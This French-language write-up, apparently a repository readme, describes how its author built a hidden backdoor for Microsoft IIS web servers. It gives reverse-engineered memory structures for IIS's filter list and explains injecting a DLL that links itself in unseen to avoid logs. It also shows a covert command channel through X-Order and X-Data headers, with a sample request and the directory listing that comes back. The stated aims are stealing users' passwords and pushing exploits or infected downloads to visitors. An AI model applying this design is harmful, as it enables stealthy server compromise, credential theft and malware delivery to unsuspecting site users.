nu11secur1ty/iis-backdoor
Dans cet article, j'expliquerai comment j'ai conçu un rootkit pour Microsoft Internet Information Services (IIS). La question est : pourquoi une backdoor dans un serveur web ?
Première réponse évidente mais inutile : parce que nous le pouvons.
Ok, donnons une réponse plus astucieuse. Le but de placer une backdoor dans un serveur web est double :
Elle permet à l'attaquant d'accéder aux données envoyées par les clients. Par exemple, si le site web est protégé par mot de passe, nous pouvons récupérer ce mot de passe.
Elle permet de backdoorer à la volée tout ce qui est envoyé du serveur au client web.
Ce deuxième point est particulièrement intéressant car il permet à l'attaquant d'injecter l'exploit approprié selon le navigateur web qui demande la page web, ou d'infecter un exécutable téléchargé depuis le serveur. Backdoor IIS
IIS est le serveur web de Microsoft ; c'est un élément important des technologies web de Microsoft telles qu'OWA. De nombreuses versions ont été publiées, de la première (IIS 1.0 sous Windows NT 3.51) à la plus récente (IIS 7.5 sous Windows Server 2008). Il est largement déployé sur Internet et dans les intranets d'entreprises. Enrichissement d'IIS
Microsoft a défini une API connue sous le nom d'ISAPI (Internet Server Application Programming Interface) pour aider les développeurs à ajouter des fonctionnalités à IIS. Deux types de composants peuvent être ajoutés à IIS : les extensions ou les filtres. Extensions ISAPI
Les extensions sont des DLL qui exportent 3 fonctions :
GetExtensionVersion
HttpExtensionProc
TerminateExtension
Les extensions sont des applications qui s'exécutent dans IIS. Elles sont chargées par IIS chaque fois qu'il en a besoin. Les extensions accèdent au contenu d'une requête et sont responsables de la réponse au client. Par exemple, si un client demande la page http ://mydomain/myextension où myextension est votre extension enregistrée, la fonction HttpExtensionProc de votre extension sera appelée. IIS lui fournira la structure suivante :
typedef struct _EXTENSION_CONTROL_BLOCK EXTENSION_CONTROL_BLOCK {
DWORD cbSize;
DWORD dwVersion;
HCONN connID;
DWORD dwHttpStatusCode;
char lpszLogData[HSE_LOG_BUFFER_LEN];
LPSTR lpszMethod;
LPSTR lpszQueryString;
LPSTR lpszPathInfo;
LPSTR lpszPathTranslated;
DWORD cbTotalBytes;
DWORD cbAvailable;
LPBYTE lpbData;
LPSTR lpszContentType;
BOOL (WINAPI * GetServerVariable) ();
BOOL (WINAPI * WriteClient) ();
BOOL (WINAPI * ReadClient) ();
BOOL (WINAPI * ServerSupportFunction) ();
} EXTENSION_CONTROL_BLOCK;
Ainsi, HttpExtensionProc peut lire les données de la requête, les traiter et renvoyer une réponse à l'aide des fonctions de rappel ReadClient et WriteClient. Filtres ISAPI
Les filtres sont des DLL qui exportent 3 fonctions :
GetFilterVersion
HttpFilterProc
TerminateFilter
Les filtres sont enregistrés pour un certain nombre d'événements ; chaque fois qu'un événement se produit pendant la durée de vie d'une requête, la fonction HttpFilterProc est appelée. Voici une liste incomplète des événements pour lesquels un filtre peut être enregistré :
SF_NOTIFY_PREPROC_HEADERS : se produit lorsque IIS a fini de prétraiter les en-têtes.
SF_NOTIFY_SEND_RESPONSE : se produit lorsque IIS est prêt à envoyer une réponse au client
SF_NOTIFY_END_OF_REQUEST : se produit lorsqu'une requête a terminé son cycle de vie
SF_NOTIFY_LOG : se produit avant qu'IIS n'écrive le journal (log) pour la requête en cours
Lorsqu'un événement pour lequel un filtre est enregistré se produit, la fonction HttpFilterProc du filtre est appelée et reçoit une structure, selon le type d'événement. Par exemple, s'il s'agit d'un événement SF_NOTIFY_END_OF_REQUEST, la structure suivante est passée au filtre par IIS :
typedef struct _HTTP_FILTER_LOG HTTP_FILTER_LOG {
const char * pszClientHostName;
const char * pszClientUserName;
const char * pszServerName;
const char * pszOperation;
const char * pszTarget;
const char * pszParameters;
DWORD dwHttpStatus;
DWORD dwWin32Status;
DWORD dwBytesSent;
DWORD dwBytesRecvd;
DWORD msTimeForProcessing;
} HTTP_FILTER_LOG, * PHTTP_FILTER_LOG;
Cette structure contient toutes les informations nécessaires dont un filtre a besoin pour journaliser la requête entrante. Aperçu des extensions et des filtres
Le schéma suivant est une présentation générale de la manière dont les filtres et les extensions sont atteints par une requête d'un client :
Schemaextfilts.png Filtre caché
Pour implémenter ma backdoor IIS, j'ai décidé d'utiliser le mécanisme de filtre d'IIS plutôt que celui d'extension, principalement pour des raisons de discrétion. En effet, pour atteindre une extension, les clients doivent effectuer une requête vers une URL comme celle-ci : http ://mydomain/myextension. Mon extension apparaîtrait alors dans les journaux du serveur. Si j'utilise un filtre, il peut être atteint en appelant n'importe quelle page valide du serveur : c'est un comportement bien plus régulier.
Il est possible d'enregistrer un filtre via le panneau de configuration d'IIS (dans les fichiers de configuration d'IIS), mais cela n'a rien de discret. J'ai décidé d'ajouter le filtre manuellement dans la liste chaînée des filtres d'IIS. Pour ce faire, j'injecte ma DLL dans le processus IIS ; la DLL analyse le tas (heap) du processus IIS et s'enregistre manuellement dans la liste des filtres d'IIS.
Deux types de structures sont utilisés pour maintenir la liste des filtres d'IIS en mémoire. Le premier est le suivant :
typedef struct FILTER_LIST {
unsigned int Magic; "FLIS"
unsigned int unknown;
unsigned int NumberOfFilters;
PHTTP_FILTER_DLL * FilterPointerArray;
unsigned int unknown2[10];
unsigned int Flags1Sum;
unsigned int * Flags1;
unsigned int unknown3[10];
unsigned int Flags2Sum;
unsigned int * Flags2;
} FILTER_LIST , *PFILTER_LIST;
Il possède les membres suivants :
Magic : un DWORD magique avec la valeur « FLIS ».
NumberOfFilters : le nombre de filtres.
FilterPointerArray : un tableau de filtres.
Flags1Sum : la somme (avec l'opérande logique OU) des événements pour lesquels tous les filtres sont enregistrés.
Flags1 : un tableau des indicateurs (flags) pour lesquels chaque filtre est enregistré.
Chaque filtre possède sa propre structure HTTP_FILTER_DLL, qui est la suivante :
struct _HTTP_FILTER_DLL{
unsigned int Magic ; "FDLL"
PHTTP_FILTER_DLL pPrevious;
PHTTP_FILTER_DLL pNext;
void * ModuleBaseAddress;
void * HttpFilterProc;
void * GetFilterVersion;
void * TerminateFilter;
unsigned int unknown1;
unsigned int AcceptFlags1;
unsigned int AcceptFlags2;
unsigned int unknown2;
char * DllPath;
unsigned intunknown3;
unsigned intunknown4;
char String[DLL_PATH_SIZE];
unsigned int unknown5;
} HTTP_FILTER_DLL, *PHTTP_FILTER_DLL;
Magic : un DWORD magique avec la valeur « FDLL ».
pPrevious, pNext : pointeurs vers les structures HTTP_FILTER_DLL précédente et suivante dans la liste.
ModuleBaseAddress : adresse de base de la DLL du filtre.
HttpFilterProc : adresse de la fonction HttpFilterProc du filtre.
AcceptFlags1 : la somme (avec l'opérande logique OU) des événements pour lesquels le filtre est enregistré.
Le schéma suivant montre comment les filtres d'IIS sont organisés en mémoire :
SchemaListNoHidFilt.png
Connaissant cette organisation de la mémoire, il est facile d'ajouter un nouveau filtre caché en mémoire. Pour ce faire, il faut trouver l'instance de FILTER_LIST dans le tas. Une fois trouvée, il suffit d'ajouter une nouvelle structure HTTP_FILTER_DLL à la liste HTTP_FILTER_DLL et d'ajouter une référence vers celle-ci dans le tableau de filtres de la structure FILTER_LIST :
SchemaListHidFilt.png Implémentation de la backdoor
La backdoor fonctionne sur un principe très simple. Les clients envoient des requêtes avec des en-têtes spéciaux contenant des ordres, et le filtre répond en ajoutant des données à la réponse sortante. Le filtre est enregistré pour les événements SF_NOTIFY_PREPROC_HEADERS et SF_NOTIFY_SEND_RAW_DATA. Lorsqu'une requête entrante arrive, le filtre vérifie si les en-têtes X-ORDER et/ou X-DATA sont présents dans la requête ; si c'est le cas et si l'ordre est connu, il l'exécute et répond. Comme notre filtre est notifié pour n'importe quelle page du serveur, je peux demander n'importe quelle page du serveur pour communiquer avec mon filtre. Il me suffit d'ajouter des en-têtes spéciaux à une requête régulière.
Si je demande une page simple (ici /pwet.htm) sans ajouter d'en-têtes, IIS adopte un comportement normal, c'est-à-dire que la réponse d'IIS est la suivante :
GET /pwet.htm HTTP/1.1
Host: 192.168.73.143
Accept-Encoding: identity
Connection: Keep-Alive
Content-type: application/x-www-form-urlencoded
Accept: */*
HTTP/1.1 200 OK
Date: Thu, 03 Feb 2011 12:16:50 GMT
Content-Length: 31
Content-Type: text/html
Last-Modified: Mon, 21 Jun 2010 11:53:19 GMT
Accept-Ranges: bytes
ETag: "963779573811cb1:994"
Server: Microsoft-IIS/6.0
<html>
Pouetpouet
</html>
Mais si je demande la même page et ajoute un ordre (ici l'ordre est "ListDir" de base64("C:") ), j'obtiens le résultat suivant :
GET /pwet.htm HTTP/1.1
Host: 192.168.73.143
Accept-Encoding: identity
X-Order: ListDir
Connection: Keep-Alive
X-Data: Qzpc
Content-type: application/x-www-form-urlencoded
Accept: */*
HTTP/1.1 200 OK
Date: Thu, 03 Feb 2011 12:16:57 GMT
Content-Length: 353
X-Resp: OK
Content-Type: text/html
Last-Modified: Mon, 21 Jun 2010 11:53:19 GMT
Accept-Ranges: bytes
ETag: "963779573811cb1:994"
Server: Microsoft-IIS/6.0
<html>
Pouetpouet
</html>
[F] C:\AUTOEXEC.BAT
[F] C:\boot.ini
[F] C:\bootfont.bin
[F] C:\CONFIG.SYS
[D] C:\Documents and Settings
[D] C:\Inetpub
[F] C:\IO.SYS
[F] C:\MSDOS.SYS
[F] C:\NTDETECT.COM
[F] C:\ntldr
[F] C:\pagefile.sys
[D] C:\Program Files
[D] C:\System Volume Information
[D] C:\WINDOWS
[D] C:\wmpub
Ainsi, backdoorer un serveur web IIS n'est pas si difficile et peut vous donner beaucoup d'opportunités...